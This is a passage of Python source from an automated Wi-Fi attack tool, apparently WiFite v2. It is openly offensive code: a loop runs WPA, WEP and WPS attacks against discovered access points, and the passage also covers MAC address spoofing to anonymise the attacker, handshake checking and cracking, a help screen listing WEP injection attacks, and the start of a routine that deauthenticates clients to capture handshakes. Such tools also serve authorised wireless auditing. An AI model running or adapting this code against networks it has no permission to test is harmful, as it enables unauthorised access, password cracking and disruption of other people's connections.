  1392. GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
  1393. print W + "\b",
  1394. if ri == 's':
  1395. targets.pop(index)
  1396. index -= 1
  1397. elif ri == 'o':
  1398. remove_file(handshake_file)
  1399. continue
  1400. index += 1
  1401.  
  1402.  
  1403. except KeyboardInterrupt:
  1404. print '\n ' + R + '(^C)' + O + ' interrupted\n'
  1405. self.RUN_CONFIG.exit_gracefully(0)
  1406.  
  1407. wpa_success = 0
  1408. wep_success = 0
  1409. wpa_total = 0
  1410. wep_total = 0
  1411.  
  1412. self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1413. for t in targets:
  1414. self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1415.  
  1416. # Build list of clients connected to target
  1417. ts_clients = []
  1418. for c in clients:
  1419. if c.station == t.bssid:
  1420. ts_clients.append(c)
  1421.  
  1422. print ''
  1423. if t.encryption.find('WPA') != -1:
  1424. need_handshake = True
  1425. if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
  1426. wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1427. need_handshake = not wps_attack.RunAttack()
  1428. wpa_total += 1
  1429.  
  1430. if not need_handshake: wpa_success += 1
  1431. if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1432.  
  1433. if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1434. wpa_total += 1
  1435. wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1436. if wpa_attack.RunAttack():
  1437. wpa_success += 1
  1438.  
  1439. elif t.encryption.find('WEP') != -1:
  1440. wep_total += 1
  1441. wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1442. if wep_attack.RunAttack():
  1443. wep_success += 1
  1444.  
  1445. else:
  1446. print R + ' unknown encryption:', t.encryption, W
  1447.  
  1448. # If user wants to stop attacking
  1449. if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1450.  
  1451. if wpa_total + wep_total > 0:
  1452. # Attacks are done! Show results to user
  1453. print ''
  1454. print GR + ' [+] %s%d attack%s completed:%s' % (
  1455. G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
  1456. print ''
  1457. if wpa_total > 0:
  1458. if wpa_success == 0:
  1459. print GR + ' [+]' + R,
  1460. elif wpa_success == wpa_total:
  1461. print GR + ' [+]' + G,
  1462. else:
  1463. print GR + ' [+]' + O,
  1464. print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1465.  
  1466. for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1467. print ' ' + C + finding + W
  1468.  
  1469. if wep_total > 0:
  1470. if wep_success == 0:
  1471. print GR + ' [+]' + R,
  1472. elif wep_success == wep_total:
  1473. print GR + ' [+]' + G,
  1474. else:
  1475. print GR + ' [+]' + O,
  1476. print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1477.  
  1478. for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1479. print ' ' + C + finding + W
  1480.  
  1481. caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1482. if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1483. print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
  1484. G, caps, W if caps == 1 else 's' + W)
  1485. for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1486. wpa_crack(cap, self.RUN_CONFIG)
  1487.  
  1488. print ''
  1489. self.RUN_CONFIG.exit_gracefully(0)
  1490.  
  1491. def parse_csv(self, filename):
  1492. """
  1493. Parses given lines from airodump-ng CSV file.
  1494. Returns tuple: List of targets and list of clients.
  1495. """
  1496. if not os.path.exists(filename): return ([], [])
  1497. targets = []
  1498. clients = []
  1499. try:
  1500. hit_clients = False
  1501. with open(filename, 'rb') as csvfile:
  1502. targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
  1503. for row in targetreader:
  1504. if len(row) < 2:
  1505. continue
  1506. if not hit_clients:
  1507. if row[0].strip() == 'Station MAC':
  1508. hit_clients = True
  1509. continue
  1510. if len(row) < 14:
  1511. continue
  1512. if row[0].strip() == 'BSSID':
  1513. continue
  1514. enc = row[5].strip()
  1515. wps = False
  1516. # Ignore non-WPA and non-WEP encryption
  1517. if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1518. if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1519. if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
  1520. 'WPA') != -1: continue
  1521. if enc == "WPA2WPA" or enc == "WPA2 WPA":
  1522. enc = "WPA2"
  1523. wps = True
  1524. if len(enc) > 4:
  1525. enc = enc[4:].strip()
  1526. power = int(row[8].strip())
  1527.  
  1528. ssid = row[13].strip()
  1529. ssidlen = int(row[12].strip())
  1530. ssid = ssid[:ssidlen]
  1531.  
  1532. if power < 0: power += 100
  1533. t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1534. t.wps = wps
  1535. targets.append(t)
  1536. else:
  1537. if len(row) < 6:
  1538. continue
  1539. bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1540. station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1541. power = row[3].strip()
  1542. if station != 'notassociated':
  1543. c = Client(bssid, station, power)
  1544. clients.append(c)
  1545. except IOError as e:
  1546. print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1547. return ([], [])
  1548.  
  1549. return (targets, clients)
  1550.  
  1551. def analyze_capfile(self, capfile):
  1552. """
  1553. Analyzes given capfile for handshakes using various programs.
  1554. Prints results to console.
  1555. """
  1556. # we're not running an attack
  1557. wpa_attack = WPAAttack(None, None, None, None)
  1558.  
  1559. if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1560. print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
  1561. print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
  1562. print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
  1563. # exit_gracefully(1)
  1564.  
  1565. if self.RUN_CONFIG.TARGET_BSSID == '':
  1566. # Get the first BSSID found in tshark!
  1567. self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1568. # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1569. if self.RUN_CONFIG.TARGET_BSSID == '':
  1570. print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
  1571. else:
  1572. print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
  1573.  
  1574. if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1575. self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1576.  
  1577. print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
  1578.  
  1579. t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1580.  
  1581. if program_exists('pyrit'):
  1582. result = wpa_attack.has_handshake_pyrit(t, capfile)
  1583. print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (
  1584. G + 'found!' + W if result else O + 'not found' + W)
  1585. else:
  1586. print R + ' [!]' + O + ' program not found: pyrit'
  1587. if program_exists('cowpatty'):
  1588. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1589. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
  1590. G + 'found!' + W if result else O + 'not found' + W)
  1591. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1592. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
  1593. G + 'found!' + W if result else O + 'not found' + W)
  1594. else:
  1595. print R + ' [!]' + O + ' program not found: cowpatty'
  1596. if program_exists('tshark'):
  1597. result = wpa_attack.has_handshake_tshark(t, capfile)
  1598. print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (
  1599. G + 'found!' + W if result else O + 'not found' + W)
  1600. else:
  1601. print R + ' [!]' + O + ' program not found: tshark'
  1602. if program_exists('aircrack-ng'):
  1603. result = wpa_attack.has_handshake_aircrack(t, capfile)
  1604. print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
  1605. G + 'found!' + W if result else O + 'not found' + W)
  1606. else:
  1607. print R + ' [!]' + O + ' program not found: aircrack-ng'
  1608.  
  1609. print ''
  1610.  
  1611. self.RUN_CONFIG.exit_gracefully(0)
  1612.  
  1613.  
  1614. ##################
  1615. # MAIN FUNCTIONS #
  1616. ##################
  1617.  
  1618. ##############################################################
  1619. ### End Classes
  1620.  
  1621. def rename(old, new):
  1622. """
  1623. Renames file 'old' to 'new', works with separate partitions.
  1624. Thanks to hannan.sadar
  1625. """
  1626. try:
  1627. os.rename(old, new)
  1628. except os.error, detail:
  1629. if detail.errno == errno.EXDEV:
  1630. try:
  1631. copy(old, new)
  1632. except:
  1633. os.unlink(new)
  1634. raise
  1635. os.unlink(old)
  1636. # if desired, deal with other errors
  1637. #else:
  1638. # raise
  1639.  
  1640.  
  1641. def banner(RUN_CONFIG):
  1642. """
  1643. Displays ASCII art of the highest caliber.
  1644. """
  1645. print ''
  1646. print G + " .;' `;, "
  1647. print G + " .;' ,;' `;, `;, " + W + "WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
  1648. print G + ".;' ,;' ,;' `;, `;, `;, "
  1649. print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"
  1650. print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' "
  1651. print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + GR + "designed for Linux"
  1652. print G + " ':. " + GR + "/_____\\" + G + " ,:' "
  1653. print G + " " + GR + "/ \\" + G + " "
  1654. print W
  1655.  
  1656.  
  1657. def get_revision():
  1658. """
  1659. Gets latest revision # from the GitHub repository
  1660. Returns : revision#
  1661. """
  1662. irev = -1
  1663.  
  1664. try:
  1665. sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  1666. page = sock.read()
  1667. except IOError:
  1668. return irev
  1669.  
  1670. # get the revision
  1671. start = page.find('REVISION = ')
  1672. stop = page.find(";", start)
  1673. if start != -1 and stop != -1:
  1674. start += 11
  1675. rev = page[start:stop]
  1676. try:
  1677. irev = int(rev)
  1678. except ValueError:
  1679. rev = rev.split('\n')[0]
  1680. print R + '[+] invalid revision number: "' + rev + '"'
  1681.  
  1682. return irev
  1683.  
  1684.  
  1685. def help():
  1686. """
  1687. Prints help screen
  1688. """
  1689.  
  1690. head = W
  1691. sw = G
  1692. var = GR
  1693. des = W
  1694. de = G
  1695.  
  1696. print head + ' COMMANDS' + W
  1697. print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
  1698. print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W
  1699. print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W
  1700. print ''
  1701.  
  1702. print head + ' GLOBAL' + W
  1703. print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W
  1704. #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1705. print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
  1706. print sw + '\t-mon-iface ' + var + '<monitor_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
  1707. print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W
  1708. print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W
  1709. print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W
  1710. print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W
  1711. print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W
  1712. print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
  1713. print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W
  1714. print ''
  1715.  
  1716. print head + '\n WPA' + W
  1717. print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W
  1718. print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
  1719. print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
  1720. print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W
  1721. print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W
  1722. print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
  1723. print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
  1724. print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W
  1725. print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W
  1726. print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
  1727.  
  1728. print head + '\n WEP' + W
  1729. print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W
  1730. print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
  1731. print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
  1732. print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W
  1733. print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W
  1734. print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W
  1735. print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W
  1736. print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W
  1737. print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
  1738. print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W
  1739. print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
  1740. print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
  1741.  
  1742. print head + '\n WPS' + W
  1743. print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W
  1744. print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W
  1745. print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W
  1746. print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
  1747.  
  1748. print head + '\n EXAMPLE' + W
  1749. print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
  1750. print ''
  1751.  
  1752.  
  1753. ###########################
  1754. # WIRELESS CARD FUNCTIONS #
  1755. ###########################
  1756.  
  1757.  
  1758.  
  1759.  
  1760. ######################
  1761. # SCANNING FUNCTIONS #
  1762. ######################
  1763.  
  1764.  
  1765.  
  1766.  
  1767.  
  1768. def wps_check_targets(targets, cap_file, verbose=True):
  1769. """
  1770. Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1771. for WPS functionality. Sets "wps" field of targets that match to True.
  1772. """
  1773. global RUN_CONFIG
  1774.  
  1775. if not program_exists('walsh') and not program_exists('wash'):
  1776. RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
  1777. return
  1778. program_name = 'walsh' if program_exists('walsh') else 'wash'
  1779.  
  1780. if len(targets) == 0 or not os.path.exists(cap_file): return
  1781. if verbose:
  1782. print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
  1783. stdout.flush()
  1784.  
  1785. cmd = [program_name,
  1786. '-f', cap_file,
  1787. '-C'] # ignore Frame Check Sum errors
  1788. proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1789. proc_walsh.wait()
  1790. for line in proc_walsh.communicate()[0].split('\n'):
  1791. if line.strip() == '' or line.startswith('Scanning for'): continue
  1792. bssid = line.split(' ')[0]
  1793.  
  1794. for t in targets:
  1795. if t.bssid.lower() == bssid.lower():
  1796. t.wps = True
  1797. if verbose:
  1798. print 'done'
  1799. removed = 0
  1800. if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1801. i = 0
  1802. while i < len(targets):
  1803. if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1804. removed += 1
  1805. targets.pop(i)
  1806. else:
  1807. i += 1
  1808. if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
  1809.  
  1810.  
  1811. def print_and_exec(cmd):
  1812. """
  1813. Prints and executes command "cmd". Also waits half a second
  1814. Used by rtl8187_fix (for prettiness)
  1815. """
  1816. print '\r \r',
  1817. stdout.flush()
  1818. print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
  1819. stdout.flush()
  1820. call(cmd, stdout=DN, stderr=DN)
  1821. time.sleep(0.1)
  1822.  
  1823.  
  1824. ####################
  1825. # HELPER FUNCTIONS #
  1826. ####################
  1827.  
  1828. def remove_airodump_files(prefix):
  1829. """
  1830. Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1831. Used by wpa_get_handshake() and attack_wep()
  1832. """
  1833. global RUN_CONFIG
  1834. remove_file(prefix + '-01.cap')
  1835. remove_file(prefix + '-01.csv')
  1836. remove_file(prefix + '-01.kismet.csv')
  1837. remove_file(prefix + '-01.kismet.netxml')
  1838. for filename in os.listdir(RUN_CONFIG.temp):
  1839. if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1840. for filename in os.listdir('.'):
  1841. if filename.startswith('replay_') and filename.endswith('.cap'):
  1842. remove_file(filename)
  1843. if filename.endswith('.xor'): remove_file(filename)
  1844. # Remove .cap's from previous attack sessions
  1845. """i = 2
  1846. while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1847. os.remove(temp + 'wep-' + str(i) + '.cap')
  1848. i += 1
  1849. """
  1850.  
  1851.  
  1852. def remove_file(filename):
  1853. """
  1854. Attempts to remove a file. Does not throw error if file is not found.
  1855. """
  1856. try:
  1857. os.remove(filename)
  1858. except OSError:
  1859. pass
  1860.  
  1861.  
  1862. def program_exists(program):
  1863. """
  1864. Uses 'which' (linux command) to check if a program is installed.
  1865. """
  1866.  
  1867. proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1868. txt = proc.communicate()
  1869. if txt[0].strip() == '' and txt[1].strip() == '':
  1870. return False
  1871. if txt[0].strip() != '' and txt[1].strip() == '':
  1872. return True
  1873.  
  1874. return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1875.  
  1876.  
  1877. def sec_to_hms(sec):
  1878. """
  1879. Converts integer sec to h:mm:ss format
  1880. """
  1881. if sec <= -1: return '[endless]'
  1882. h = sec / 3600
  1883. sec %= 3600
  1884. m = sec / 60
  1885. sec %= 60
  1886. return '[%d:%02d:%02d]' % (h, m, sec)
  1887.  
  1888.  
  1889. def send_interrupt(process):
  1890. """
  1891. Sends interrupt signal to process's PID.
  1892. """
  1893. try:
  1894. os.kill(process.pid, SIGINT)
  1895. # os.kill(process.pid, SIGTERM)
  1896. except OSError:
  1897. pass # process cannot be killed
  1898. except TypeError:
  1899. pass # pid is incorrect type
  1900. except UnboundLocalError:
  1901. pass # 'process' is not defined
  1902. except AttributeError:
  1903. pass # Trying to kill "None"
  1904.  
  1905.  
  1906. def get_mac_address(iface):
  1907. """
  1908. Returns MAC address of "iface".
  1909. """
  1910. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1911. proc.wait()
  1912. mac = ''
  1913. first_line = proc.communicate()[0].split('\n')[0]
  1914. for word in first_line.split(' '):
  1915. if word != '': mac = word
  1916. if mac.find('-') != -1: mac = mac.replace('-', ':')
  1917. if len(mac) > 17: mac = mac[0:17]
  1918. return mac
  1919.  
  1920.  
  1921. def generate_random_mac(old_mac):
  1922. """
  1923. Generates a random MAC address.
  1924. Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1925. Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1926. """
  1927. random.seed()
  1928. new_mac = old_mac[:8].lower().replace('-', ':')
  1929. for i in xrange(0, 6):
  1930. if i % 2 == 0: new_mac += ':'
  1931. new_mac += '0123456789abcdef'[random.randint(0, 15)]
  1932.  
  1933. # Prevent generating the same MAC address via recursion.
  1934. if new_mac == old_mac:
  1935. new_mac = generate_random_mac(old_mac)
  1936. return new_mac
  1937.  
  1938.  
  1939. def mac_anonymize(iface):
  1940. """
  1941. Changes MAC address of 'iface' to a random MAC.
  1942. Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1943. Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1944. """
  1945. global RUN_CONFIG
  1946. if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1947. if not program_exists('ifconfig'): return
  1948.  
  1949. # Store old (current) MAC address
  1950. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1951. proc.wait()
  1952. for word in proc.communicate()[0].split('\n')[0].split(' '):
  1953. if word != '': old_mac = word
  1954. RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1955.  
  1956. new_mac = generate_random_mac(old_mac)
  1957.  
  1958. call(['ifconfig', iface, 'down'])
  1959.  
  1960. print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
  1961. stdout.flush()
  1962.  
  1963. proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1964. proc.wait()
  1965. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1966. print 'done'
  1967.  
  1968.  
  1969. def mac_change_back():
  1970. """
  1971. Changes MAC address back to what it was before attacks began.
  1972. """
  1973. global RUN_CONFIG
  1974. iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  1975. old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  1976. if iface == '' or old_mac == '': return
  1977.  
  1978. print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
  1979. stdout.flush()
  1980.  
  1981. call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1982. proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1983. proc.wait()
  1984. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1985. print "done"
  1986.  
  1987.  
  1988. def get_essid_from_cap(bssid, capfile):
  1989. """
  1990. Attempts to get ESSID from cap file using BSSID as reference.
  1991. Returns '' if not found.
  1992. """
  1993. if not program_exists('tshark'): return ''
  1994.  
  1995. cmd = ['tshark',
  1996. '-r', capfile,
  1997. '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  1998. '-2',
  1999. '-n']
  2000. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2001. proc.wait()
  2002. for line in proc.communicate()[0].split('\n'):
  2003. if line.find('SSID=') != -1:
  2004. essid = line[line.find('SSID=') + 5:]
  2005. print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
  2006. return essid
  2007. print R + ' [!]' + O + ' unable to guess essid!' + W
  2008. return ''
  2009.  
  2010.  
  2011. def get_bssid_from_cap(essid, capfile):
  2012. """
  2013. Returns first BSSID of access point found in cap file.
  2014. This is not accurate at all, but it's a good guess.
  2015. Returns '' if not found.
  2016. """
  2017. global RUN_CONFIG
  2018.  
  2019. if not program_exists('tshark'): return ''
  2020.  
  2021. # Attempt to get BSSID based on ESSID
  2022. if essid != '':
  2023. cmd = ['tshark',
  2024. '-r', capfile,
  2025. '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  2026. '-2',
  2027. '-n', # Do not resolve MAC vendor names
  2028. '-T', 'fields', # Only display certain fields
  2029. '-e', 'wlan.sa'] # souce MAC address
  2030. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2031. proc.wait()
  2032. bssid = proc.communicate()[0].split('\n')[0]
  2033. if bssid != '': return bssid
  2034.  
  2035. cmd = ['tshark',
  2036. '-r', capfile,
  2037. '-R', 'eapol',
  2038. '-2',
  2039. '-n']
  2040. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2041. proc.wait()
  2042. for line in proc.communicate()[0].split('\n'):
  2043. if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  2044. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2045. line = line.replace('\t', ' ')
  2046. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2047. return line.split(' ')[2]
  2048. elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  2049. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2050. line = line.replace('\t', ' ')
  2051. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2052. return line.split(' ')[4]
  2053. return ''
  2054.  
  2055.  
  2056. def attack_interrupted_prompt():
  2057. """
  2058. Promps user to decide if they want to exit,
  2059. skip to cracking WPA handshakes,
  2060. or continue attacking the remaining targets (if applicable).
  2061. returns True if user chose to exit complete, False otherwise
  2062. """
  2063. global RUN_CONFIG
  2064. should_we_exit = False
  2065. # If there are more targets to attack, ask what to do next
  2066. if RUN_CONFIG.TARGETS_REMAINING > 0:
  2067. options = ''
  2068. print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  2069. '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  2070. 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  2071. print GR + " [+]" + W + " what do you want to do?"
  2072. options += G + 'c' + W
  2073. print G + " [c]ontinue" + W + " attacking targets"
  2074.  
  2075. if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  2076. options += W + ', ' + O + 's' + W
  2077. print O + " [s]kip" + W + " to cracking WPA cap files"
  2078. options += W + ', or ' + R + 'e' + W
  2079. print R + " [e]xit" + W + " completely"
  2080. ri = ''
  2081. while ri != 'c' and ri != 's' and ri != 'e':
  2082. ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
  2083.  
  2084. if ri == 's':
  2085. RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
  2086. elif ri == 'e':
  2087. should_we_exit = True
  2088. return should_we_exit
  2089.  
  2090.  
  2091. #
  2092. # Abstract base class for attacks.
  2093. # Attacks are required to implement the following methods:
  2094. # RunAttack - Initializes the attack
  2095. # EndAttack - Cleanly ends the attack
  2096. #
  2097. class Attack(object):
  2098. __metaclass__ = abc.ABCMeta
  2099.  
  2100. @abc.abstractmethod
  2101. def RunAttack(self):
  2102. raise NotImplementedError()
  2103.  
  2104. @abc.abstractmethod
  2105. def EndAttack(self):
  2106. raise NotImplementedError()
  2107.  
  2108.  
  2109. #################
  2110. # WPA FUNCTIONS #
  2111. #################
  2112. class WPAAttack(Attack):
  2113. def __init__(self, iface, target, clients, config):
  2114. self.iface = iface
  2115. self.clients = clients
  2116. self.target = target
  2117. self.RUN_CONFIG = config
  2118.  
  2119. def RunAttack(self):
  2120. '''
  2121. Abstract method for initializing the WPA attack
  2122. '''
  2123. self.wpa_get_handshake()
  2124.  
  2125. def EndAttack(self):
  2126. '''
  2127. Abstract method for ending the WPA attack
  2128. '''
  2129. pass
  2130.  
  2131. def wpa_get_handshake(self):
  2132. """
  2133. Opens an airodump capture on the target, dumping to a file.
  2134. During the capture, sends deauthentication packets to the target both as
  2135. general deauthentication packets and specific packets aimed at connected clients.
  2136. Waits until a handshake is captured.
  2137. "iface" - interface to capture on
  2138. "target" - Target object containing info on access point
  2139. "clients" - List of Client objects associated with the target
  2140. Returns True if handshake was found, False otherwise
  2141. """
  2142.  
  2143. if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  2144.  
  2145. # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  2146. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2147. + '_' + self.target.bssid.replace(':', '-') + '.cap'
  2148.  
  2149. # Check if we already have a handshake for this SSID... If we do, generate a new filename
  2150. save_index = 0
  2151. while os.path.exists(save_as):
  2152. save_index += 1
  2153. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
